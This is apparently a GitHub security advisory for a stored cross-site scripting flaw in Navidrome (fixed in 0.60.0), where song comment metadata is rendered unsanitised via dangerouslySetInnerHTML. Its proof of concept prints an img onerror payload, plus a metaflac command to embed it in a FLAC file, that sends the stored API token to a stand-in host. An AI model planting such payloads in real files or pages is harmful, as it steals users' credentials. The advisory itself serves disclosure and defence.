Skip to content

Navidrome has XSS via comment from song metadata

Moderate severity GitHub Reviewed Published Feb 3, 2026 in navidrome/navidrome • Updated Feb 5, 2026

Package

gomod github.com/navidrome/navidrome (Go)

Affected versions

< 0.60.0

Patched versions

0.60.0

Description

Summary

An XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials.

An attacker's maliciously crafted song has to be added to Navidrome to exploit the vulnerability.

Details

The frontend is using React. In various places, the code uses the dangerouslySetInnerHTML escape hatch to set the content of an HTML element.

In some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability.

In MultiLineTextField component, the input is split into lines and rendered through the dangerouslySetInnerHTML property.

<div
  data-testid={`${source}.${idx}`}
  key={md5(line + idx)}
  dangerouslySetInnerHTML={{ __html: line }}
/>

This component is then used in the SongInfo and AlbumInfo components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS COMMENT comment of a FLAC file.

By crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info.

Additionally, as the Navidrome API token is kept in local storage and since there's no CSP in place unless the user's configured one outside of Navidrome, the attacker can exfiltrate the API token.

PoC

  1. Modify the comment field of a song to contain the following payload using a tool like MusicBrain'z Picard:
<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />

or use metaflac:

echo '<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />' | metaflac --set-tag=comment=<(cat) file.flac
  1. Add the song to Navidrome
  2. Enter the "Songs" or one of the albums page, click the "kebab menu" and then "Get Info"

In this payload, a broken image can be seen in the info dialog.

image

In the developer tools' network inspector, the request exfiltrating the token to an example domain can be seen.

image

Impact

The vulnerability affects users of the Navidrome UI with songs from untrusted sources.

Mitigations

References

@deluan deluan published to navidrome/navidrome Feb 3, 2026
Published to the GitHub Advisory Database Feb 4, 2026
Reviewed Feb 4, 2026
Published by the National Vulnerability Database Feb 4, 2026
Last updated Feb 5, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as <, >, and & that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. Learn more on MITRE.

CVE ID

CVE-2026-25578

GHSA ID

GHSA-rh3r-8pxm-hg4w

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.